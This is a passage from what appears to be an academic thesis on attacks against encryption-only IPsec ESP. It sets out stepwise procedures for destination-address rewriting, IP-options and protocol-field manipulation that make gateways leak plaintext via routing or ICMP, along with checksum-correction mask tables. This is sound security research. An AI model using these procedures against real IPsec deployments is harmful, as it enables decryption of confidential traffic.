As an illustrative example, suppose the attacker knows that the inner datagram has as its destination a host on the class C private subnet 192.168.1.0/24. Then the attacker will be successful after on average $2^7$ choices of the $2^8$ possible counter values, and hence after the injection of roughly $2^{24}$ datagrams. After this effort, a more efficient second phase can once again be used.

A further optimisation is possible if the attacker can eavesdrop all traffic on a network that is equal in class to that portion of the address DestAddr that he knows: now there is no need to use a counter, and the attack works exactly as in Section 6.3.1. This attack might be realised if, for example, the attacker controls a router for a network of the appropriate
6.3 Attacks Based on Destination Address Rewriting

size. A modification of the attack also works if the attacker knows nothing about the address DestAddr but is able to eavesdrop on all traffic emanating from the security gateway. In this situation, it might be useful for the attacker to arrange for a particular bit pattern to appear in the IP headers so that the datagrams can subsequently be recognised. This can be done, for example, by modifying the identification and fragmentation fields of the inner header through manipulation of the IV.

6.3.4 128-Bit Attack: The First Phase

We now consider the destination address rewriting attack in the case where the block cipher used by ESP has 128-bit blocks (such as AES [82]). With notation as before, now the first four 32-bit words of the IP header are contained in $P_1$ and the destination address is contained in the first 32 bits of $P_2$. We can alter the destination address in one of two ways. We can randomise the destination address by using a random ciphertext block $C_2$ in place of the original $C_2$. Alternatively, we can make controlled changes to the destination address in $P_2$ just as in the 64-bit case by flipping appropriate bits in $C_1$. Details are as follows.

6.3.4.1 The First Method

1. As above, capture a target ESP datagram represented by OuterHeader and 128-bit ciphertext blocks $C_0\|C_1\|\ldots\|C_q$.

2. Generate a random 128-bit pattern, denoted $C'_2$.

3. Set counter to 0.

4. Repeat:

   a. Modify block $C_0$ in the last 16 bits in the third 32-bit word, by setting these bits to the 16-bit binary representation of the counter value. Let $C'_0$ denote the modified block. Increment counter.

   b. Prepare a datagram $\text{OuterHeader}\|C'_0\|C_1\|C'_2\ldots\|C_q$. Inject this modified datagram into the tunnel.

Until: a datagram is intercepted by the attacker.

5. Save the datagram $\text{OuterHeader}\|C'_0\|C_1\|C'_2\ldots\|C_q$ where block $C'_0$ holds its value at the exit of the loop.

Using this method, we preserve the first four words of the inner IP header, whilst the destination address and the following 12 bytes would be randomised. The attack is successful if the attacker can intercept all traffic from the security gateway: now the attacker can create a valid header for the inner datagram by flipping the bits of $C_0$ (i.e. the IV) in positions corresponding to the location of the 16-bit header checksum in $P_1$. This can be done in a systematic fashion by XORing those bit positions in $C_0$ with a 16-bit
counter so that the effort required to produce a valid inner datagram is $2^{15}$ iterations on average. Note that it is no longer a requirement for the attacker to have any knowledge about the inner destination address.

### 6.3.4.2 The Second Method

1. Capture a target ESP datagram as before. Let $\text{OuterHeader}$ be the IP header from the outer datagram and 128-bit blocks $C_0 \| C_1 \| \ldots \| C_q$ denote the IV and encrypted portion of this datagram’s payload.

2. Modify block $C_1$ in the first 32 bits by XORing it with the 32-bit mask $M = \text{DestAddr} \oplus \text{AttAddr}$ to obtain a block $C_1''$.

3. Repeat:
   
   a. Modify block $C_1''$, now in the last 96 bits, by setting these bits to a random 96-bit value $R$. Let $C_1'$ denote the modified block.
   
   b. Let ciphertext $C' = C_0' \| C_1' \| C_2 \| \ldots \| C_q$. Inject the datagram $\text{OuterHeader} \| C'$ into the tunnel.

   Until: a datagram is received by the attacker at $\text{AttAddr}$.

4. Save the datagram $\text{OuterHeader} \| C'$ where block $C_1'$ in $C'$ holds its value at the exit of the loop.

Like the 64-bit case, this approach requires some knowledge of the inner destination address. The use of this method comes at the expense of completely randomising $P_1$ which contains most of the inner header. Recall the IP processing steps in Section 5.2.1. The randomised header fields will cause the inner datagram to fail at least one check with high probability, and hence make it unlikely to be forwarded by the security gateway. We expect the fields that are likeliest to fail are the checksum with a success probability of $2^{-16}$, the Total Length field with a success probability estimated at $2^{-16}$ (assuming packets sizes are uniformly distributed between 20 and 1500 bytes, and that the Total Length field check fails if it is less than 20 or greater than actual packet length), IP version field with a success probability of $2^{-4}$ and header length field with a success probability of $\frac{11}{16}$. This makes the success probability per iteration only $2^{-39}$, and it will take $O(2^{39})$ iterations to find a valid header. On a 1 Gigabit link under optimal conditions (small packets, powerful gateway hardware, etc.), the search may take a few days; under less favourable conditions, it may take more than a year to complete. This is orders of magnitude slower than the first method, but still preferable to a 128-bit exhaustive key search.

### 6.3.4.3 Comparing the Methods

The choice of attack in this phase depends on the attacker’s ability to capture traffic from the target gateway. If he can intercept all datagrams, and identify those routed due to his
attacks, then the first approach is considerably more efficient and hence preferable. Otherwise, he would have to resort to the less efficient but more targeted datagram redirection technique. In this case, the effort required for this phase is halved for each known bit of the original inner destination address. Regardless of the method chosen in this phase, once the attacker intercepts a plaintext datagram message corresponding to a modified attack datagram, he is ready to proceed to the second phase.

6.3.5 128-Bit Attack: The Second Phase

This second phase uses a similar construction to the 64-bit attack to efficiently extract plaintext from further encrypted inner datagrams, avoiding the need for $2^{15}$ or more iterations per datagram. The attacker reuses the ciphertext blocks $C'_0, C'_1, C'_2$ from a successful first phase and splicing onto it any $q - 5$ consecutive ciphertext blocks (including dummy blocks if necessary) of a new target datagram, followed by ciphertext blocks $C_{q-1}||C_q$ from the original target. Again, a similar argument to the 64-bit case applies here for the new-block padding special case, where the attacker must preserve the last three blocks $C_{q-2}||C_{q-1}||C_q$ from the target in phase 1, limiting the maximum number of spliced ciphertext blocks to $q - 6$ (or pre-empting the successful operation of phase 2 altogether).

The constructed ciphertext can then be used as the payload in a new outer datagram which uses OuterHeader as its header. The security gateway receives the outer datagram and the decryption of the attacker’s constructed payload is then interpreted as an inner datagram with a valid inner header, ESP padding and trailer. The inner datagram is then routed to the IP address according to the destination address field. If method 1 was used in phase 1, the field would contain the same random address as that of the intercepted datagram at the end of that phase, for which the attacker would continue to listen. If method 2 was used instead, the datagram is routed directly to AttAddr.

It is easy to see how complete datagrams can be recovered from encrypted datagrams just as easily and efficiently as in the 64-bit attack by running phase 2 on the target datagram in segments and reassembled as needed.

6.4 Attacks Based on IP Options Processing

Our next set of attacks exploits the way in which IP implementations generate ICMP messages when processing incorrectly formatted options fields in IP headers, in particular how ICMP error messages carry portions of the offending datagram. We first focus on the case where the block cipher used by ESP has 64-bit blocks, followed by the 128-bit case, describing the attacks and then reporting on an implementation. We again describe the attack in the context of a pair of security gateways communicating using encryption-only ESP in tunnel mode.

We need to make some assumptions for the attack to work. As usual, we assume that the attacker is able to intercept ESP-protected datagrams and to inject modified datagrams into the network. We additionally assume that the attacker is able to monitor
the traffic originating at one of the gateways for ICMP messages. A third-party network service provider is in a perfect position to mount this attack, for example. We will see later how this requirement can be relaxed in the 128-bit case, provided the attacker has some information about inner source addresses.

6.4.1 64-bit Attack: The First Phase

We sketch the ideas behind the first phase. As before, the attacker has captured an outer datagram and wishes to recover the plaintext version of the encrypted portion of its payload. Recall that the IHL field is located in the first byte of the IP header, and therefore lies in plaintext block $P_1$ in the sequence of blocks to be encrypted in CBC mode by ESP. The attacker modifies the contents of the IHL field of the inner datagram by flipping appropriate bits in $IV$, making the IHL equal a value greater than 5. For reasons that will become apparent, 6 is a good choice of the modified IHL field. When the inner datagram is subsequently processed by the IP software on the security gateway, the first word(s) of the payload (forming the contents of the second half of $P_3$ onwards) will be interpreted as options bytes. We randomise the values of these bytes (as seen by the security gateway) by placing a random value in the last 32 bits of $C_2$. Then with high probability, roughly 98.5% on Linux, these bytes will be incorrectly formatted, resulting in the generation of an ICMP Parameter Problem message if the Source Address is routable. Experiments described in Section 6.6.3.2 shows that the probability of ICMP generation drops to about 85% if the inner datagram contains a random Source Address. The payload of this ICMP message will contain the complete header and a segment of the payload of the inner datagram. If such an ICMP message is captured by the attacker, then he has a means to learn plaintext inner datagrams that are otherwise encrypted.

However, randomising bytes in $C_2$ has the additional effect of randomising the contents of $P_2$ after decryption by the security gateway. Since $P_2$ contains the TTL, Protocol, Checksum and Source Address fields, the inner datagram is likely to be dropped silently by the security gateway before any IP options processing takes place, because of an incorrect checksum value. Thus, in fact, the ICMP message will not often be generated. Moreover, the ICMP message, if generated, will be sent to the random source address now specified in the inner datagram. This helps to ensure that the ICMP message is not sent through the IPsec tunnel between the security gateways, thus making it visible to the attacker, but also means that this address may not be routable. However, by iterating the attack sufficiently often and using new random bytes on each iteration, the attacker can achieve a reasonable overall success probability. We shall quantify the success rate for the IPsec implementation in Linux in Section 6.6.3 below.

The attack will fail if the policy checks are performed against the randomised Source Address field. Failure may also occur if the security gateway is configured not to route datagrams to destinations with which no security associations have been previously established.

The first phase of the attack is illustrated in Figure 6.4 and formalised below.
6.4 Attacks Based on IP Options Processing

1. Capture a target ESP datagram represented by `OuterHeader` and 64-bit ciphertext blocks $C_0 || C_1 || \ldots || C_q$.

2. Modify block $C_0 = IV$ in the first byte, XORing it with a mask which increases the IHL to a value $l$ greater than 5, obtaining a block $C'_0$.

3. **Repeat:**
   a. Modify block $C_2$ in the last 32 bits, by setting these bits to a random 32-bit value $R$. Let $C'_2$ denote the modified block.
   b. Prepare a datagram $OuterHeader || C'_0 || C_1 || C'_2 || \ldots || C_q$. Inject this modified datagram into the network.

   **Until** an ICMP message is intercepted.

4. Save the datagram $OuterHeader || C'_0 || C_1 || C'_2 || \ldots || C_q$ where $C'_2$ holds its value at the exit of the loop.

Figure 6.4: Modifications to inner header fields in options processing attack, 64-bit case.

The mask used in step 2 above for a desired modified IHL $l'$ is simply given by $l' \oplus 5$, based on the assumption that 5 is the IHL value in the original inner datagram, which is almost always the case. In rare instances where this isn’t so, the original inner datagram header would be carrying sequences of option bytes, and this phase may still produce an ICMP message as long as the modified IHL field is greater than 5. But in this instance the modified IHL value will be something other than the desired value $l'$ which may interfere with phase 2 of the attack. Fortunately for the attacker, he can detect this IHL field anomaly directly from the “problem datagram header” portion of the intercepted ICMP message payload. If the observed IHL value $l''$ deviates from the desired value $l'$, the original value $l$ can be computed by XORing $l''$ with the mask. The attacker can then rerun this phase with using IHL mask $l' \oplus l$ in step 2 with the same average complexity.
6.4.2 64-bit Attack: The Second Phase

The first phase above captures an ICMP message containing the header and a segment of the payload of the modified inner datagram. The amount of payload recovered depends on the variant of ICMP implemented on the gateway, and is possibly as small as 64 bits, but normally no smaller. The attacker can employ methods similar to those introduced in Section 6.3.2 to speed up the recovery of the remaining payload bytes from the remainder of the initial target datagrams and further target datagrams in a second phase. Once again, a successful header can be reused and is guaranteed to always generate an ICMP message. The attacker can insert a number of target blocks into the ESP-encrypted payload after the header in each trial, this number depending on the amount of payload returned by ICMP.

In more detail, the attacker reuses the outer header and the payload $C'_0||C_1||C'_2||C_3$ from a successful run of phase 1. If the inner IHL was set to 6 in the course of phase 1, then the end of the modified inner header (including what is now interpreted as option bytes) would align with a block boundary between $P_3$ and $P_4$. Target ciphertext blocks can then be inserted from blocks $C_4$ onwards. The number of target ciphertext blocks that should be inserted after the inner header blocks is based on two factors:

1. For the same reason as in the destination address rewriting attack before, ESP padding and trailer fields must be preserved, which requires the last 2 or 3 ciphertext blocks to be unmodified. Taking the conservative approach of keeping 3 blocks unaltered, this limits the upper bound on the number of recoverable blocks to $q - 6$.

2. The number of complete blocks in the amount of payload that the ICMP message returns places an upper limit on the number of plaintext blocks that can be recovered per trial, and hence the number of ciphertext blocks that can be usefully inserted. The ICMP returned payload size in bytes is either
   a. 8 (for 64-bit payload implementations of ICMP), or
6.4 Attacks Based on IP Options Processing

b. for RFC 1812 type ICMP messages, given by the smaller of

\[
 z_1 = \text{(size of the original inner datagram payload)} - \text{(number of original payload bytes interpreted as options)}
\]

and

\[
 z_2 = \text{(implementation limit of ICMP size, on Linux, 576)} - \text{(size of IP header without options, 20)} - \text{(size of ICMP header, 8)} - \text{(size of returned IP header with options, 24)}
\]

\[
= 524
\]

To summarise, the number of ciphertext blocks that can be recovered per trial is given by \( \min(q - 6, \lfloor z / (\text{block size in bytes}) \rfloor) \) where \( z \) is either 8 or \( \min(z_1, z_2) \). For optimal performance, in phase 1 the smallest datagram that yields the maximum number of blocks per trial in phase 2 should be selected. The number of trials needed to recover a whole datagram increases linearly with the size of the datagram payload. For many cases where a large number of plaintext blocks (up to 65) are carried by each ICMP message, it takes no more than three trials to recover the largest typical ethernet frame-size delimited 1500-byte datagrams. The speed of recovery of plaintext in this second phase is limited only by the rate at which the security gateway is permitted to generate ICMP messages as per RFC 1812 [37].

6.4.3 The 128-Bit Attack: The First Phase

A similar attack is possible when the block cipher used by ESP has 128-bit blocks. Now, however, the IHL field, Header Checksum field and Source Address field are all contained within \( P_1 \) and therefore can all be manipulated by bit flipping in \( C_0 = IV \). This allows the possible checksums to be tested systematically, which improves the success probability. The payload bytes which get interpreted as options bytes by the security gateway can be randomised by selecting a random value for \( C_2 \). The attack in the 128-bit case, using a random \( C_2 \), is as follows.

1. Capture a target ESP datagram represented by \( \text{OuterHeader} \) and 128-bit ciphertext blocks \( C_0 \| C_1 \| \ldots \| C_q \).

2. Modify block \( C_0 = IV \) in the first byte, XORing it with a mask which increases the IHL to the value 8 and modifies the source address to one outside the tunnel, obtaining a block \( C'_0 \).
3. Set counter to 0 and let \( R \) be a random 128-bit block.

4. **Repeat:**
   
a. Modify block \( C'_0 \) in the last 16 bits in the third 32-bit word, by setting these bits to the 16-bit binary representation of the counter value. Let \( C''_0 \) denote the modified block. Increment counter.

b. Prepare a datagram \( \text{OuterHeader} \parallel C''_0 \parallel C_1 \parallel R \parallel \ldots \parallel C_q \). Inject this modified datagram into the network.

**Until** an ICMP message is intercepted or counter equals \( 2^{16} \).

5. Save the datagram \( \text{OuterHeader} \parallel C'_0 \parallel C_1 \parallel R \parallel \ldots \parallel C_q \).

In the case where this attack phase terminates without triggering an ICMP message, the above procedure is repeated for a new \( R \).

The choice of 8 for the modified IHL field in step 2 above ensures that the start of the returned inner payload in the ICMP message received in step 4 aligns with a block boundary which makes things simpler for phase 2. While this condition is not necessary for attacks on gateways that return large (RFC 1812) ICMP messages, as any values between 6 and 15 will do, it incurs no performance penalties. More importantly, it is necessary for phase 2 attacks on gateways with small (RFC 792) ICMP implementations.

If the attacker has partial (or full) knowledge of the source address of the inner datagrams, then he can use similar ideas to those explored in Section 6.3.3 to direct the ICMP response to his own machine or a network that he controls, this time by changing the source address in the inner header by manipulating the IV. This is an important variant, since it removes the most stringent requirement for our attack, namely that the attacker be able to monitor the security gateway for ICMP messages. This makes the attacks far easier to mount in practice.

### 6.4.4 The 128-Bit Attack: The Second Phase

On completion of a phase 1 attack, the attacker can recover further plaintext efficiently by reusing the successful phase 1 header using techniques we have seen in previous phase 2 attacks. For each query in this phase, he reuses from phase 1 the byte sequence \( \text{OuterHeader} \parallel C'_0 \parallel C_1 \parallel C_2 \), followed by \( q - 2 \) target ciphertext blocks, and finishes with blocks \( C_{q-1} \parallel C_q \) (for new-block padded cases, \( q - 3 \) target ciphertext blocks, finishing with \( C_{q-2} \parallel C_{q-1} \parallel C_q \) as before). This datagram is then injected into the network. In a similar fashion to the 64-bit case, the security gateway receives the outer datagram, decrypts its payload as an IP datagram, carries out options processing and generates an ICMP Parameter Problem message which contains plaintext for the target blocks, the exact amount of which depends on the ICMP implementation. If the attacker has taken advantage of knowledge of the inner source address, the ICMP datagram will be directed at the attacker’s own machine or network, eliminating the requirement of being able to monitor
6.4 Attacks Based on IP Options Processing

all outbound traffic from the security gateway. For a gateway that generates large (RFC 1812) ICMP datagrams that return many inner datagram payload bytes, the number of target ciphertext blocks that should be inserted into the ESP payload can be calculated in a similar way to the 64-bit case (given by the smaller of $z_1$ and $z_2$ as defined by item (b) in Section 6.4.2).

6.4.4.1 Attack Variation for Short ICMP Messages

When an ICMP message carries fewer than 128 bits of inner payload, say 64 bits, the attacker can only usefully insert one target ciphertext block after $\text{OuterHeader}\|C_0\||C_1\||C_2$. For this 128-bit target block, however, he can only recover the first half the plaintext block corresponding to it, as only the first 64 bits of plaintext is returned beyond the inner header in an ICMP message.

Using a variant of the first phase, it is possible for an attacker to recover any two plaintext blocks using an average of $2^{15}$ trials. We set IHL to 12 and replace $C_2$, $C_3$ with two arbitrary target ciphertext blocks $C_i$, $C_j$. As before, we modify the inner source address and iterate over the checksum field. Once a valid checksum is found, the resulting ICMP message would carry the full lengthened inner IP header complete with the decryption of $C_i$ and $C_j$, denoted $P_i'$ and $P_j'$ respectively. The plaintext block $P_j$ can then be computed by the relation $P_j = P_j' \oplus C_i \oplus P_{j-1}$, and similarly for $P_i$. This attack variant is formalised below.

1. Capture a target ESP datagram represented by $\text{OuterHeader}$ and 128-bit ciphertext blocks $C_0\|C_1\|\ldots\|C_q$, and target blocks $C_i$, $C_j$.

2. Modify block $C_0 = IV$ in the first byte, XORing it with a mask which increases the IHL to the value 12 and modifies the source address to one outside the tunnel, obtaining a block $C_0'$.

3. Set counter to 0

4. Repeat:

   a. Modify block $C_0'$ in the last 16 bits in the third 32-bit word, by setting these bits to the 16-bit binary representation of the counter value. Let $C_0''$ denote the modified block. Increment counter.

   b. Prepare a datagram $\text{OuterHeader}\||C_0''\|C_1\|C_i\|C_j$. Inject this modified datagram into the network.

Until an ICMP message is intercepted.

There may be choices of $C_i$ and $C_j$ that produce valid option bytes in $P_j'$ and hence no ICMP errors are returned. If the attacker has gathered a pool of ciphertext blocks he can randomise his choice of target blocks combinations to ensure successful operation of
this attack variant. Otherwise, he could replace one of $C_i$ or $C_j$ with a random block to randomise the option bytes, halving the efficiency of this attack.

A further attack variant extends the attack above, when ICMP carries at least 32 bits of inner payload. We now increase IHL to 15 and further replace $C_k$ with a third target ciphertext block $C_k$, and proceed with the attack as above. The ICMP message generated now contains three blocks of plaintext, the last of which spans the last options bytes and the first 32 bits of inner payload. The plaintext blocks $P_i, P_j, P_k$ can be recovered using relations similar to the one above.

### 6.5 Attacks Based on Protocol Field Manipulation

Our third class of attacks exploits the circumstances under which IP implementations generate ICMP messages when faced with unsupported upper layer (transport layer) protocols. We focus first on the case where the block cipher used by ESP has 128-bit blocks, as this is the more efficient case, followed by the 64-bit case.

We need to make the same assumptions as in Section 6.4 for the attack to work: the attacker is able to intercept ESP-protected datagrams, to inject modified datagrams, and to monitor the traffic originating at one of the gateways for ICMP messages. This last requirement can again be relaxed, at the cost of a less efficient attack.

#### 6.5.1 The 128-Bit Attack: The First Phase

Recall from Figure 5.1 that the 1-byte Protocol field is located in the second byte of the third 32-bit word of the IP header, and therefore lies in plaintext block $P_1$ in the sequence of 128-bit blocks to be encrypted in CBC mode by ESP. The attacker modifies the contents of the Protocol field of the inner datagram by flipping appropriate bits in $IV$, making the field equal a value corresponding to an upper layer protocol that is not supported by the end host receiving the inner datagram. Usually, it is sufficient to flip only the most significant bit of the protocol field to achieve this.

Now, when the inner datagram arrives at the end host that is its final destination, an ICMP “protocol unreachable” message will be generated in response to the unsupported protocol value. The payload of this ICMP message will contain the header and a segment of the payload of the inner datagram. If it can be captured by the attacker, then he can learn plaintext information from the inner datagram. Note that, in contrast to the attack based on options processing, the end host rather than the security gateway generates the ICMP message.

Two complexities arise here. Firstly, the attacker must alter the source address of the inner datagram, otherwise the ICMP response will be routed through the IPsec tunnel back to the original source of the inner datagram. Secondly, the attacker must fix the header checksum so that it contains the correct value for the modified inner header — otherwise, the inner datagram will simply be dropped by the security gateway and never reach the end host. Fortunately, in the 128-bit case, both of these requirements can be
met by further manipulating $IV$.

In fact, a careful attacker who manipulates only a single bit in the protocol field and a single bit in the source address field can do much better than simply trying all possible header checksum values in an attempt to correct that checksum (an attack that would require a still practicable $2^{15}$ iterations on average). We present in detail how this can be achieved after first discussing checksum correction in the case of small numbers of bit flips.

### 6.5.1.1 Checksum Correction for Single Bit Flips

The original Internet Protocol standard, RFC 791 [169], specifies the method for header checksum calculation:

*The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header. For purposes of computing the checksum, the value of the checksum field is zero.*

One’s complement is a method for representing numbers in binary\(^1\) whereby a negative number $-x$ is represented by complementing all the bits in the binary representation of $x$. For purposes of computing the IP checksum, it is enough to know that adding two numbers in one’s complement is carried out by performing traditional binary addition of the two numbers, and then adding the carry to the result. In the discussion below, we number bit positions from 0 from the right, the least significant bit in binary number representation.

Let us consider what happens to an IP header checksum when a bit in the protocol field is flipped, using the rightmost bit as an example. Supposing, with a probability of $1/2$, that the bit flip turns a 0 into a 1. Independently, let us assume the rightmost bit of the original one’s complement sum to be 0. This makes the rightmost bit of the checksum 1, the complement of 0, and happens with a probability of $1/2$. The bit flip in the protocol field means that the original sum is no longer correct, as it has increased by 1. Correspondingly, the correct new checksum should have a 0 in its rightmost position. The net effect is that with a probably of $1/4$, a bit mask of $0000000000000001$ will need to be applied to the original checksum in order to compensate for the effect of the 1-bit change in the protocol field. This is illustrated below.

---

\(^1\)Note that, however, two’s complement (not discussed here) is by far the more commonly used integer representation scheme in modern computer architecture, whereas one’s complement is only found in older computer designs such as the PDP-1. One of the reasons for the use of one’s complement in computing the IP checksum is its independence from platform *endianess*, i.e. byte-ordering convention for multi-byte words.
6.5 Attacks Based on Protocol Field Manipulation

An analogous argument applies to the opposite case where the bit flip changes a 1 to a 0 in the protocol field. If the original one’s complement sum has a 1 in its rightmost position, the checksum will have a 0 in the same position. This combination occurs with a probability of 1/4. Now with the decrement of the protocol field by 1, the correct one’s complement’s sum needs to decrease by the same amount from the original. In this case we know the correct sum will have a 0 in the rightmost position, and hence a 1 in the same position in the checksum. So again, a bit mask of 0000000000000001 will need to be applied to correct the checksum due to the single bit flip in the protocol field. This case is illustrated below.

Combining the above two cases, we see that with a probability of $1/4 + 1/4 = 1/2$, a single bit flip in the rightmost position of the protocol field causes changes in the checksum that can be compensated by the bit mask 0000000000000001. We can now extend this idea to more complex scenarios.

Let us suppose once again that the bit flip is from 0 to 1. In cases where the rightmost two bits of the one’s complement sum are 01, however the increment in the protocol field will now need those two bits to be 10 to remain valid. It is easy to see that a bit mask of 0000000000000011 is required to correct the checksum, and the combination of these two conditions occurs with a probability of 1/8. Similarly, the same mask is needed for the opposite case, which happens with the same probability. This gives us a probability of 1/4 that the mask 0000000000000011 will correct the checksum after a single bit flip in rightmost position of the protocol field.

This idea can the be easily extended further to cover cases of the one’s complement sum ending in 011, 0111 and so on for an incremented protocol field until it reaches 0111111111111111. The extremal case of 1111111111111111 in the original one’s complement sum is handled by a correcting bit mask of 1111111111111110. An analogous
6.5 Attacks Based on Protocol Field Manipulation

analysis also applies to the situation with a decremented protocol field. This gives us a table $T_0$ (Table 6.1) of masks to correct a checksum after a bit flip in position 0 (the rightmost position) in the protocol field in decreasing order of probability.

<table>
<thead>
<tr>
<th>Mask</th>
<th>Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td>0000000000000001</td>
<td>$1/2$</td>
</tr>
<tr>
<td>0000000000000011</td>
<td>$1/4$</td>
</tr>
<tr>
<td>0000000000000111</td>
<td>$1/8$</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>1111111111111111</td>
<td>$2^{-16}$</td>
</tr>
<tr>
<td>1111111111111110</td>
<td>$2^{-16}$</td>
</tr>
</tbody>
</table>

Table 6.1: Table $T_0$ of masks and their probabilities for bit position 0.

The table of checksum correction masks can be generalised to compensate for the results of bit flips in any positions in the protocol field, even any positions in any field. For an arbitrary $i$, $0 \leq i < 16$, a flip in bit position $i$ from 0 to 1 would increase the one’s complement sum by $2^i$ and the mask $\underbrace{0 \ldots 01}_{16-i} \underbrace{0 \ldots 0}_{i}$ would be needed to correct the checksum. The same mask also applies to the opposite case of a 1 to 0 flip. Analyses as above and of properties of one’s complement addition show that for such a bit flip in position $i$ in a 16-bit word, we can apply masks in table $T_i$, obtained by performing a 16-bit left-rotate through $i$ positions on the masks in Table 6.1.

Of course, for plaintext IP datagrams, updates to checksum due to modifications, say to the TTL field by a router, can be easily performed by re-application of the checksum algorithm to the modified header, and the probability analysis above is largely irrelevant. However, checksum correction techniques often have performance advantages over recalculation. In the context of our attacks to follow, checksum correction by applying masks is the only way (other than relatively inefficient brute force trials) to efficiently compensate for bit flips in an encrypted datagram. Further methods for efficient checksum updates are described in [59, 132, 173].

6.5.1.2 Checksum Correction for Two-bit Flips

Supposing two bits are flipped in positions $i$ and $j$, $i \neq j$, $0 \leq i, j < 16$. To correct the checksum for this two-bit flip, we apply two checksum masks in sequence, one from the table $T_i$ and one from the table $T_j$. The success probability of any pair of masks in sequence, can be obtained by multiplying the individual probabilities of the masks $T_{i,a}$ and $T_{j,b}$, denoting $a$-th and $b$-th masks in tables $T_i$ and $T_j$ respectively. Table 6.2 shows the combined success probabilities for each pair of checksum masks $T_{i,a}$ and $T_{j,b}$.

The case $i = j$ requires special treatment. Here the bits to be flipped coincide at the same 16-bit word position. Those two bits may be different, i.e. 0 and 1, or 1 and 0, respectively, with a combined probability of $1/2$. In these two cases it should be easy to see that the bit flips would have no effect on the one’s complement sum and hence the
6.5 Attacks Based on Protocol Field Manipulation

Table 6.2: Combined success probabilities for pairs of checksum masks.

<table>
<thead>
<tr>
<th>Masks and probabilities</th>
<th>( T_{i,1} )</th>
<th>( T_{i,2} )</th>
<th>( T_{i,3} )</th>
<th>\ldots</th>
<th>( T_{i,15} )</th>
<th>( T_{i,16} )</th>
<th>( T_{i,17} )</th>
</tr>
</thead>
<tbody>
<tr>
<td>( T_{i,1} )</td>
<td>1/2</td>
<td>1/4</td>
<td>1/8</td>
<td>\ldots</td>
<td>2(^{-15})</td>
<td>2(^{-16})</td>
<td>2(^{-16})</td>
</tr>
<tr>
<td>( T_{i,2} )</td>
<td>1/4</td>
<td>1/8</td>
<td>1/16</td>
<td>\ldots</td>
<td>2(^{-17})</td>
<td>2(^{-18})</td>
<td>2(^{-18})</td>
</tr>
<tr>
<td>( T_{i,3} )</td>
<td>1/8</td>
<td>1/16</td>
<td>1/32</td>
<td>\ldots</td>
<td>2(^{-18})</td>
<td>2(^{-19})</td>
<td>2(^{-19})</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>\ldots</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>( T_{i,15} )</td>
<td>2(^{-15})</td>
<td>2(^{-16})</td>
<td>2(^{-17})</td>
<td>\ldots</td>
<td>2(^{-30})</td>
<td>2(^{-31})</td>
<td>2(^{-31})</td>
</tr>
<tr>
<td>( T_{i,16} )</td>
<td>2(^{-16})</td>
<td>2(^{-17})</td>
<td>2(^{-18})</td>
<td>\ldots</td>
<td>2(^{-31})</td>
<td>2(^{-32})</td>
<td>2(^{-32})</td>
</tr>
<tr>
<td>( T_{i,17} )</td>
<td>2(^{-16})</td>
<td>2(^{-17})</td>
<td>2(^{-18})</td>
<td>\ldots</td>
<td>2(^{-31})</td>
<td>2(^{-32})</td>
<td>2(^{-32})</td>
</tr>
</tbody>
</table>

As an example, taking \( i = 0, j = 0 \), the table \( T'_0 \) shown in Table 6.3, generated by incorporating the masks in \( T_1 \), contains the series of checksum masks and their probabilities of success.

Table 6.3: Table \( T'_0 \) of masks and their probabilities for bit positions \( i = 0, j = 0 \).

### 6.5.1.3 Attack using Checksum Masks

Having established a method for checksum correction for small numbers of bit flips, we are now ready to present our 128-bit attack.

Consider an attacker who modifies the Protocol field by effecting a flip in bit \( i, 0 \leq i < 8 \), and who alters the inner Source Address field by forcing a flip in bit \( j, 0 \leq j < 32 \). For \( i \neq j \mod 16 \), the effect on the inner Header Checksum can be regarded as XORing it with two masks in sequence, one from the table \( T_i \) and one from the table \( T_{j \mod 16} \). Of course, the attacker does not know exactly which pair of masks will work. So the attacker’s strategy is to inject a sequence of datagrams into the network, changing \( IV \) in

\begin{verbatim}
0000000000000000 1/2
0000000000000010 1/4
0000000000000110 1/8
0000000000001110 1/16
...              ...
1111111111111111 2\(^{-17}\)
1111111111111110 2\(^{-17}\)
\end{verbatim}
the positions corresponding to the Header Checksum at each iteration by applying one mask from each of Tables $T_i$ and $T_j \mod 16$, or equivalently, a mask $M = T_{i,a} \oplus T_{j \mod 16}$ for $1 \leq a, b \leq 17$. Clearly, for maximum efficiency, the attacker should use these masks in decreasing order of probability which can be easily derived from Table 6.2. We traverse the mask pairs diagonally from bottom-left to top-right (or vice versa) in the top-left half of the table; for the diagonals in the bottom-right half of the table, we start with bottom-leftmost then top-rightmost (or vice versa), followed by entries in the middle of the diagonals.

A maximum of $17^2 = 289$ iterations will be needed. The expected number of iterations is calculated by the taking the sum of each probability multiplied by the ordinal number in which each pair of masks are applied. The calculation shows that the expected number is just under 7. The attack is illustrated in Figure 6.5 and summarised as follows.

1. Capture a target ESP datagram represented by $\text{OuterHeader}$ and 128-bit ciphertext blocks $C_0 \| C_1 \| \ldots \| C_q$.

2. Choose parameter $i, (0 \leq i < 8)$, such that when the protocol field is flipped at position $i$ the resulting protocol value is not supported by the end host at the destination address.

3. Choose parameter $j, (0 \leq j < 32)$, such that when the source address is flipped at position $j$ the resulting address will be one outside the tunnel. We also assume that $i \neq j \mod 16$. 

Figure 6.5: Modifications to inner header fields in protocol field attack, 128-bit case.
4. Generate a series of 16-bit checksum masks $M_0, M_1, \ldots, M_{289}$ from Tables $T_i$ and $T_j \mod 16$, in decreasing order of probability of success.

5. Modify block $C_0 = IV$ in the third 32-bit word, XORing it with a mask which flips the protocol field in position $i$ and source address field in position $j$, obtaining a block $C'_0$.

6. Set counter $c$ to $0$.

7. **Repeat:**
   
   a. Modify block $C'_0$ in the last 16 bits in the third 32-bit word, by XORing those bits by mask $M_c$. Let $C''_0$ denote the modified block. Increment $c$.
   
   b. Prepare a datagram $\text{OuterHeader} || C''_0 || C_1 || \ldots || C_q$. Inject this modified datagram into the network.

   **Until** an ICMP message is intercepted or $c \geq 290$.

8. Save the datagram $\text{OuterHeader} || C''_0 || C_1 || \ldots || C_q$.

For the case $i = j \mod 16$, step 3 of the description above would instead obtain a series of 17 masks by generating Table $T_{(i+1)\mod 16}$, and the counter $c$ would cause the loop to exit as it reaches 18.

